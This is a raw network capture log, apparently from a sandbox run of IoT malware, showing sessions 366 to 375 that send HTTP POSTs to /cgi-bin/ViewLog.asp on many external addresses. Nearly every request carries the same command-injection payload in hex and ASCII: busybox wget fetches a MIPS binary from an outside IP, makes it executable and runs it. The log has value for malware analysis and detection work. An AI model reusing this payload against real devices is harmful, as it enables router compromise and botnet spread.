Nov 23, 2023 05:17:02.118367910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.550462008 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:09.158382893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:18.374340057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.318285942 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.182199001 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	35470	95.140.27.141	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.385466099 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:00.596551895 CET	493	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:16:57 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1i Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	58138	31.200.127.55	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.400062084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	42118	94.122.227.226	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.627337933 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	55584	94.187.101.84	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.814336061 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	36046	31.200.63.110	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.822457075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	48150	95.86.86.5	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.859765053 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	32862	31.136.209.225	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:01.573757887 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.806361914 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:10.950347900 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:22.982327938 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:47.558279037 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	33380	31.136.239.33	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:02.964060068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:03.526376963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.646382093 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:07.110352039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:11.718405008 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:20.678378105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:39.366298914 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.230205059 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	36638	95.87.241.145	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:03.173703909 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	42340	94.131.59.2	8080

Timestamp	Bytes transferred	Direction	Data
